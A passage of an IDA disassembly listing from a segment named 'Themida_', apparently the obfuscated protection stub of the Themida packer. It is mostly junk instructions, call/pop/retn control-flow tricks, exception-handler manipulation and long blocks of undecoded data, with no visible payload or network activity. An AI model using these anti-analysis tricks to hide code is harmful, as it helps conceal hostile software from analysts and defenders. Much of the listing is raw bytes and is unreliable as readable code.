arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5934B5	endp

; ---------------------------------------------------------------------------
		db 0DBh, 2 dup(3Ch)
		dd 5C7BD98Fh, 202294BFh, 5FBF6603h, 0FCE183EBh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BDC35040h, 0C4F07D7Eh
		dd 0CE97Eh, 307A0000h, 0EF8E244Eh, 4F86E3E4h, 6AFC1E6Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0EA03C350h, 43F608D9h, 2BF98DDEh,	53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 90142F24h, 0BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0F4216E0h, 0FF2EA1DEh
		dd 0C233AD6Eh, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 20D3F7EEh, 7E97E0Bh,	41000000h, 81500EDDh, 0B58990B4h
		dd 6A817C5h, 880Dh, 958BF800h, 6A805B9h, 28D0Fh, 0F0B70000h
		dd 14698D8Bh, 0BB6606A8h, 8B50459Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	1D85BD8Bh, 0BD8B06A8h, 6A81765h
		dd 2B899D89h, 0BD8306A8h, 6A80C91h, 0A5840F00h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 3A7FC357h, 0D0C50A11h, 0B8E8A1h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0AA02C351h, 0CDFFE3EBh, 0B98D89E6h, 2306A82Dh
		dd 0A826319Dh, 0AF8D8D06h, 6A06A84Fh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8021C356h
		dd 0E1FF5FE3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0EDC35343h, 5EE64707h, 0BD2B09A4h, 6A81A65h, 0BBDBD83h
		dd 0F0006A8h, 48184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 5AFE47Bh, 0A39E46A9h
		dd 13E9FDABh, 94000000h, 0CC0D2FD3h, 53F1CCD6h,	0A66C33A5h
		dd 0DD60E45Eh, 0BD83F657h, 6A80BBDh, 52840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E949C355h, 0Dh, 0BC9F0F89h, 91703273h, 0A2121192h
		dd 0BDBD838Eh, 306A80Bh, 3E1860Fh, 0BD030000h, 6A80ADDh
		dd 664AB760h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 9DAA44C3h, 0DECE9DB0h, 0E1804FD2h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0F46FB5A1h, 0FAC8C389h, 0C90A14FAh, 17F840Fh
		dd 0BD8B0000h, 6A82649h, 6830Fh, 0BD890000h, 6A82F81h
		dd 0BE1858Bh, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0AA9138C3h, 7CB41D8h, 0B529E285h
		dd 6A82151h, 1D5D8533h,	0BF0F06A8h, 500DB7DBh, 89FB8B66h
		dd 0BE92404h, 0DD000000h, 6C61676Dh, 94C3754Ch,	6A8E16h
		dd 756FBB66h, 7AE8D168h, 0E9525055h, 0Dh, 70913EB1h, 25EB9426h
		dd 0A7078D69h, 50310F43h, 0F525052h, 0F585A31h,	0FA8B6631h
		dd 585A585Ah, 2E243481h, 6A5565EBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A81DC356h
		dd 0A232E518h, 13E950h,	81930000h, 0BAFE1295h, 0F3327CF8h
		dd 47ED32BEh, 0CF85D22Ch, 810F5F21h, 8,	0DBD8B51h, 5B06A815h
		dd 74195FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0DE4155C3h, 8C545263h, 860F2844h
		dd 6, 29BDBD0Bh, 0BF6606A8h, 85897E3Ch,	6ABA227h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 98C35343h, 6533CC58h
		dd 7EAA07CAh, 0DF81664Ch, 0D0E9A645h, 6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 93D4C356h, 0B70F9177h, 3A294055h, 1D8850BFh,	1F858B17h
		dd 6A06ABA2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 685AC353h, 890F1F84h, 0Bh, 58E0Fh
		dd 81660000h, 0C7C878F7h, 1800h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 506CE54Ah
		dd 0B58BB8BFh, 6ABA223h, 858BD98Bh, 6A82B7Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CCC35545h, 39BD8B96h
		dd 8B06A832h, 0E90689D8h, 10h, 33E1A2D7h, 0A563E768h, 9A3C4C3h
		dd 0B4B07E46h, 0BE1858Bh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 551EFEC3h, 69AC1311h
		dd 9D8BD88Bh, 6A80A75h,	6A044689h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 995FC357h
		dd 13D5A992h, 4E7E9C50h, 53965096h, 2E058589h, 0FF5F06A8h
		dd 0ABA21FB5h, 1ED78106h, 0E8076255h, 4, 1F03FFh, 0F38B6660h
		dd 411F02BEh, 66506165h, 8B7AA2BBh, 66042444h, 8BC4EABBh
		dd 89D98B00h, 8B042444h, 0EB8058F9h, 27858D82h,	0F06ABA2h
		dd 68Fh, 85B52900h, 5006A819h, 3E3EFBBh, 2404890Eh, 8E9h
		dd 821C9500h, 0B4624834h, 4195FFBBh, 6A06A807h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0D460C353h, 0BE8h, 7CE05400h, 2B47F2DAh, 98F92E13h
		dd 1E218D89h, 615B06A8h, 16BD9D8Bh, 9D3106A8h, 6A81AA1h
		dd 0BBD85C7h, 306A8h, 83F50000h, 0ABA227BDh, 840F0006h
		dd 37h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 0ECC35343h, 1AEC7D42h, 810F3CBCh, 0ADC6D9CBh, 0DABF0F00h
		dd 21E9h, 0F5858900h, 5006A802h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0B589C08Bh, 6A807BDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 52C35747h, 83ADCDA4h
		dd 0A80BBDBDh, 850F0306h, 417h,	0A227BD83h, 0F0006ABh
		dd 40A84h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 0FD29DD2Ah, 0C092E6D3h, 0B5FFDD8Ah
		dd 6ABA227h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	7FC35040h, 3A219484h, 0F063123h, 95FFFEBFh, 6A815F9h
		dd 0E3DBD29h, 0B58B06A8h, 6ABA21Bh, 0C7FFBF0Fh,	1000106h
		dd 11BD8900h, 5006A825h, 0A1D1DBBBh, 24348901h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 24C35747h, 0E0EDD5EBh
		dd 0CACA761Fh, 0CF816096h, 3FC6B6C2h, 3161CDB0h, 0A80FF98Dh
		dd 27B5FF06h, 6A06ABA2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0BDC8C353h,	89FD2F43h
		dd 0FF13D27Ah, 0A8219995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 85F945A7h
		dd 0BD0301E4h, 6A80211h, 0A21BB58Bh, 9D8B06ABh,	6A81FF9h
		dd 0E41858Bh
		dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 115F49C3h, 5736F675h, 2B19D89h, 895B06A8h
		dd 0C486h, 95850900h, 8B06A82Ah, 0A805B995h, 108C0F06h
		dd 0E8000000h, 8, 56392Eh, 2C53E2F8h, 835B71B3h, 0E78004C2h
		dd 205089A9h, 0A6BC06BFh, 0CE858D48h, 6A06ABB7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89BBC350h, 0A822D9B5h, 0B8868906h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0BD7AC357h, 5B47620Dh, 0D1B589A6h, 8B06A828h, 0A81FAD9Dh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 16B2C357h, 0AFC5332Ch,	0BD8B845Ch
		dd 6A81E39h, 9E9h, 3F611800h, 5F101DB5h, 8166B1DEh, 0FF58DAEFh
		dd 0ABA227B5h, 1D95FF06h, 6A06A81Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 50CCC357h
		dd 1CC41E5Fh, 96FBBF0Fh, 9650FA8Bh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0DFC35343h,	0FFB6954Dh, 0ABA227B5h
		dd 0C8A0F06h, 0F000000h, 681h, 99958900h, 0FF06A826h, 0A82A6995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 12F53AEBh, 48E0F52h, 66000000h, 5F3230BBh
		dd 2E3DBD83h, 0F0006A8h, 1B84h,	0BD858900h, 5006A80Ch
		dd 6E9h, 517F2E00h, 89DB313Eh, 0BD012434h, 6A80D61h, 0A227B5FFh
		dd 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0D6E64FC3h, 8B0F0376h, 12h, 0DE9h, 0F0C02400h
		dd 602E08A1h, 0BA3A0E87h, 95FF747Ch, 6A83185h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2DC35343h, 0D09C22F1h
		dd 0B5FF1A7Eh, 6ABA227h, 7E960h, 6D7A0000h, 0D44EA00Eh
		dd 0E78166EAh, 0FF61BC89h, 0A80F5595h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 920A198h, 831CB915h,	0A8077DBDh, 840F0206h, 30h, 19858BF8h
		dd 6A06A80Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1183C352h, 8B66C191h, 0C6FAh
		dd 1A54BB66h, 0DC185C7h, 6A8h, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0A3E132C3h
		dd 0A58629D4h, 0FE8F208h, 0C2000000h, 0F35D6709h, 1F18C233h
		dd 0E4D73DFEh, 8B0F338Bh, 6, 15ED9589h,	0E95B06A8h, 0FFFFF33Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 13C35040h
		dd 63BF4144h, 0E5A46A3Dh, 0B58B60C6h, 6A819C5h,	8B6DB361h
		dd 8CCCBFC1h, 858D2F8Fh, 6A83385h, 1A598D89h, 90F906A8h
		dd 50D88B66h, 0E880Fh, 0E9600000h, 7, 0ECCA480Ch, 612865B9h
		dd 0DB816690h, 6A1C23h,	0C0D9D29h, 6A06A8h, 9019589h, 858D06A8h
		dd 6ACA829h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0FAC35040h, 8B4D7C29h, 0A827FD9Dh, 5C08306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 24A8E974h
		dd 684BD370h, 0D38156CFh, 7DB66C20h, 1B850F5Bh,	60000000h
		dd 0EE9h, 4EA17E00h, 74BFBC0Bh,	5716BF8Eh, 0F7D54C9h, 81h
		dd 8B906100h, 0D98B50FBh, 51006A90h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0E78119D9h
		dd 301611Ch, 6860Fh, 0BD8B0000h, 6A82E25h, 0E381006Ah
		dd 59652D74h, 56FCBF66h, 0BB66006Ah, 95FF590Bh,	6A82541h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h
		dd 0BB1B1978h, 0E8556E8Fh, 0Bh,	0F1DE1F38h, 4119EE0Dh
		dd 609F31BAh, 51D18166h, 895B6199h, 0A829F19Dh,	0C18D8906h
		dd 8D06A80Fh, 0AB8C7F8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0B1ED0C7Dh
		dd 85CE3219h, 860F52F3h, 0
; ---------------------------------------------------------------------------
		pop	edi
		call	ecx
		push	0
		push	ebx
		call	sub_594182
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594182	proc near		; CODE XREF: Themida_:0059417Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_594182	endp

; ---------------------------------------------------------------------------
		dw 0A855h
; ---------------------------------------------------------------------------
		sub	byte ptr [ebp+50h], 60h
		jmp	loc_5941A8
; ---------------------------------------------------------------------------
		db 0D3h, 0B1h, 7
		dd 7367CF9Bh, 2FBD90Fh
; ---------------------------------------------------------------------------


loc_5941A8:				; CODE XREF: Themida_:00594198j
		call	sub_5941B2
		inc	eax
		push	49h
		xor	bh, ah

; =============== S U B	R O U T	I N E =======================================



sub_5941B2	proc near		; CODE XREF: Themida_:loc_5941A8p

; FUNCTION CHUNK AT 00594236 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594EAC SIZE 00000023 BYTES

		pop	edx
		popa
		pop	ebx
		cmp	dword ptr [ebp+6A8339Dh], 1
		jnz	loc_594236
		push	0
		push	eax
		call	sub_5941CD
		and	[eax-3Dh], bl
sub_5941B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5941CD	proc near		; CODE XREF: sub_5941B2+13p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5941CD	endp

; ---------------------------------------------------------------------------
		db 94h,	99h, 29h
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+6A815FDh],	ebx
		jmp	loc_5941FF
; ---------------------------------------------------------------------------
		dd 1E131B31h, 603D7150h, 0CAC985FCh, 0A2727453h
		db 0AEh, 0A9h, 0B9h
; ---------------------------------------------------------------------------


loc_5941FF:				; CODE XREF: Themida_:005941E7j
		popa
		push	2
		xor	ebx, 4B659041h
		nop
		mov	di, 9826h
		push	eax
		pusha
		jmp	loc_594224
; ---------------------------------------------------------------------------
		dec	eax
		xor	eax, [ecx]
		jmp	short loc_594249
; ---------------------------------------------------------------------------
		db 0E9h, 0BCh, 95h
		dd 7FE905EFh, 0D36B60E2h
; ---------------------------------------------------------------------------


loc_594224:				; CODE XREF: Themida_:0059420Fj
		mov	dx, 0A9F7h
		popa
		nop
		or	edi, 75C774C0h
		call	dword ptr [ebp+6A81E1Dh]
; START	OF FUNCTION CHUNK FOR sub_5941B2


loc_594236:				; CODE XREF: sub_5941B2+Aj
		jmp	loc_594EAC
; END OF FUNCTION CHUNK	FOR sub_5941B2
; ---------------------------------------------------------------------------
		db 0E8h
		align 10h
		dd 33ED815Dh, 6606ACA8h
		db 0BBh
; ---------------------------------------------------------------------------


loc_594249:				; CODE XREF: Themida_:00594217j
		cmp	eax, 0CE867h
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	ch, 0B5h
		sbb	edx, [edi+74h]
		dec	di
		dec	edx
		sub	edx, [esp+ecx]
		cli
		sbb	bl, 0B1h
		pop	edi
		lea	eax, [ebp+6AB7E2Eh]
		push	0
		push	edx
		call	sub_594271
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594271	proc near		; CODE XREF: Themida_:00594269p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_594271	endp

; ---------------------------------------------------------------------------
		adc	ds:0FB609246h, dh
		or	[ebp+6A83315h],	esi
		clc
		push	eax
		mov	bx, 9EEAh
		mov	[esp], eax
		mov	ebx, [ebp+6A833D5h]
		push	large dword ptr	fs:0
		push	0
		push	edi
		call	sub_5942AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942AE	proc near		; CODE XREF: Themida_:005942A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5942AE	endp

; ---------------------------------------------------------------------------
		add	al, 5Fh
		and	cl, [ecx-57F31A4Bh]
		push	es
		mov	large fs:0, esp
		sub	[ebp+6A820B1h],	edi
		jno	$+6
		inc	dword ptr [ebp+6A833F1h]
		mov	bl, cl
		push	0FFFFFFFFh
		push	0
		push	ebp
		call	sub_5942EF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5942EF	proc near		; CODE XREF: Themida_:005942E7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5942EF	endp

; ---------------------------------------------------------------------------
		das
		or	[edx+48h], ebp
		add	[ebp+6A801D1h],	ecx
		push	dword ptr [ebp+6A80D41h]
		mov	edi, [ebp+6A82801h]
		call	dword ptr [ebp+6A82A7Dh]
		jmp	loc_594453
; ---------------------------------------------------------------------------
		jmp	loc_594339
; ---------------------------------------------------------------------------
		db 6Ch,	0A2h, 58h
; ---------------------------------------------------------------------------
		push	ss
		sub	ch, [eax+74h]
		mov	cl, 62h
		retn
; ---------------------------------------------------------------------------
		db 5Bh
		dd 9F890832h, 5BAB71B6h
		db 1Ah
; ---------------------------------------------------------------------------


loc_594339:				; CODE XREF: Themida_:00594320j
		mov	al, 0
		call	near ptr loc_59434F+4
		pop	esi
		cmp	al, 51h


loc_594343:				; CODE XREF: Themida_:00594358j
		mov	ebp, 50FAFE52h
		pop	ebp
		mov	dh, 27h
		wait
		das
		in	eax, 3Fh


loc_59434F:				; CODE XREF: Themida_:0059433Bp
		imul	esp, [edi], 8B664354h
		fistp	word ptr [ebx-1Ah]
		jo	short loc_594343
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 0E6440000h, 0D70167CDh, 71E4F958h, 613CF88Bh, 0E1830Fh
		dd 8B660000h, 0C8B60FDAh, 95B3BB66h, 6BAh, 35B52900h, 8B06A825h
		dd 0DBD89C1h, 6606A825h, 0E8C1DE8Bh, 0AE804h, 1F830000h
		dd 76401CB3h, 22838245h, 665FFE8Bh, 8F0FE2F7h, 6, 3409BD8Bh
		dd 0C82B06A8h, 0D18BA3B7h, 9958B60h, 0B06A80Fh,	0A82621B5h
		dd 0AE96106h, 31000000h, 0A818018Dh, 7BBF6606h,	0B9858B1Fh
		dd 0B06A80Ah, 0A815299Dh, 7C08306h, 8E9h, 0F4AC5000h, 41DAC5B4h
		dd 0C083F5h, 21DBD8Bh, 0D03B06A8h, 0E830Fh, 9D8B0000h
		dd 6A800CDh, 40E9D98Bh,	0FC000000h, 1A6D8D8Bh, 890F06A8h
		dd 0
		dd 0F01E183h, 2A84h, 0F57F500h,	688h, 8A0F00h, 5B000000h
		dd 1A6DA583h, 0FFE06A8h, 9589DEBFh, 6A80AB9h, 21618589h
		dd 0E906A8h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_594453:				; CODE XREF: Themida_:0059431Bj
		lea	esi, [ebp+6AC0599h]
		mov	edi, [ebp+6A80E45h]
		push	0
		push	0
		push	edi
		call	sub_59446C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59446C	proc near		; CODE XREF: Themida_:00594464p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_59446C	endp

; ---------------------------------------------------------------------------
		push	edx
		adc	eax, 0A9934614h
		aam	0FFh
		xchg	eax, ebp
		xor	[ebx], ebx
		test	al, 6
		mov	edi, [ebp+6A80E3Dh]
		mov	ecx, 83Bh
		mov	[ebp+6A81769h],	edi
		and	ecx, 0FFFFFFFCh
		push	0
		push	edi
		call	sub_5944A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5944A8	proc near		; CODE XREF: Themida_:005944A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5944A8	endp

; ---------------------------------------------------------------------------
		dd 7ACD17Bh, 814BDDACh,	0FB6B65EBh, 0E780FC62h,	0B8DBh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0A30436C3h, 0BA5F57C9h, 0
; ---------------------------------------------------------------------------
		cmc


loc_5944F5:				; CODE XREF: Themida_:005944FFj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5944F5
		mov	[ebp+6A80DC9h],	edi
		mov	ebx, 1F046232h
		or	eax, 88h
		mov	ebx, 4EC900A2h
		mov	edx, [ebp+6A805B9h]
		mov	edi, [ebp+6A824DDh]
		mov	ecx, [ebp+6A81469h]
		xor	[ebp+6A80161h],	ebx
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	edi
		call	sub_59454B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59454B	proc near		; CODE XREF: Themida_:00594543p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59454B	endp

; ---------------------------------------------------------------------------
		db 0ACh
		dd 0BFDA2375h, 6A685E42h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 2D06C351h, 0DF13CA89h
		dd 289A9349h, 0C91BD83h, 0F0006A8h, 4C84h, 7E95200h, 0C1000000h
		dd 1E80E3DEh, 0B85F3327h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A822D9h],	esi
		lea	ecx, [ebp+6A84FAFh]
		push	0
		push	edi
		call	sub_5945BF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5945BF	proc near		; CODE XREF: Themida_:005945B7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5945BF	endp

; ---------------------------------------------------------------------------
		inc	ecx
		db	26h
		jmp	short near ptr loc_594610+2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0EA1A8AF7h, 8BE1FF0Ah, 0A80BD9BDh, 0BDBD8306h, 6A80Bh
		dd 3FC840Fh, 0B5290000h, 6A800C1h, 0BBDBD83h, 0F0106A8h
		dd 40484h, 5DB58900h, 8306A816h, 0A80BBDBDh, 860F0306h
; ---------------------------------------------------------------------------


loc_594610:				; CODE XREF: Themida_:005945D0j
		mov	ebx, 60000003h
		mov	di, 0E484h
		mov	cx, ds
		push	0
		push	ebx
		call	sub_594627
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594627	proc near		; CODE XREF: Themida_:0059461Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_594627	endp

; ---------------------------------------------------------------------------
		or	al, 38h
		add	eax, 9219D89h
		test	al, 6
		and	cl, 4
		push	0
		push	edx
		call	sub_59464E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59464E	proc near		; CODE XREF: Themida_:00594646p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59464E	endp

; ---------------------------------------------------------------------------
		inc	esi
		sbb	al, 65h
		sbb	eax, 0C90A8880h
		jz	loc_594734
		mov	edi, [ebp+6A800A9h]
		mov	eax, [ebp+6A80BE1h]
		push	0
		push	ebx
		call	sub_594683
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594683	proc near		; CODE XREF: Themida_:0059467Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_594683	endp

; ---------------------------------------------------------------------------
		db 5Dh
		dd 1D5D8533h, 9D8B06A8h, 6A8174Dh, 52506050h, 310FC78Bh
		dd 0C28B585Ah, 24048961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0E5C35747h, 6860Fh, 8D310000h, 6A81EC5h
		dd 8B52006Ah, 0A81E49BDh, 0BE685F06h, 5028E6DDh, 5FF88B66h
		dd 41243481h, 5628F9DEh, 27698501h, 0FF5B06A8h,	0A8074195h
		dd 8589FC06h, 6ABA227h,	8E8h, 67209F00h, 0E45AFFFAh, 0EE9ACh
		dd 56080000h, 4535D941h, 0E796E1CFh, 6B748A71h,	230E95Bh
		dd 9D8B0000h, 6A80DA1h
; ---------------------------------------------------------------------------


loc_594734:				; CODE XREF: Themida_:00594666j
		mov	eax, [ebp+6ABA21Fh]
		mov	edi, [ebp+6A81D51h]
		mov	dword ptr [eax], 18h
		mov	bx, 5DC7h
		mov	esi, [ebp+6ABA223h]
		mov	edi, 32C974B2h
		mov	eax, [ebp+6A82B7Dh]
		push	0
		push	ecx
		call	sub_594766
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594766	proc near		; CODE XREF: Themida_:0059475Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_594766	endp

; ---------------------------------------------------------------------------
		dw 1293h
; ---------------------------------------------------------------------------
		call	sub_594791
		retf
; ---------------------------------------------------------------------------
		dw 8925h
		dd 2CEA8CB2h, 88E52EA7h, 0CF176445h, 776B3423h
		db 79h

; =============== S U B	R O U T	I N E =======================================



sub_594791	proc near		; CODE XREF: Themida_:00594778p
		mov	edi, [ebp+6A82E2Dh]
		pop	edi
		mov	[esi], eax
		push	0
		push	edi
		call	sub_5947A5
		and	[edi-3Dh], bl
sub_594791	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5947A5	proc near		; CODE XREF: sub_594791+Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5947A5	endp

; ---------------------------------------------------------------------------
		neg	byte ptr [ecx-6Eh]
		mov	eax, [ebp+6A80BE1h]
		push	0
		push	ebx
		call	sub_5947C9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5947C9	proc near		; CODE XREF: Themida_:005947C1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5947C9	endp

; ---------------------------------------------------------------------------
		and	eax, 0DD9D8B7Dh
		adc	al, 0A8h
		push	es
		sub	[ebp+6A8199Dh],	edx
		mov	[esi+4], eax
		push	0
		push	edi
		call	sub_5947F5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5947F5	proc near		; CODE XREF: Themida_:005947EDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5947F5	endp

; ---------------------------------------------------------------------------
		db 88h,	75h, 17h
		dd 0A0882A36h, 66D88BF8h, 5050D98Bh, 66525052h,	0F8E18BBh
		dd 0C113BF31h, 585A6B8Ch, 585A310Fh, 6A243489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 7E30C353h, 0E9DBE17Ah, 0Ch, 4BAE749Fh, 0D6B88545h, 0F3874B80h
		dd 0A21FB5FFh, 6A06ABh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
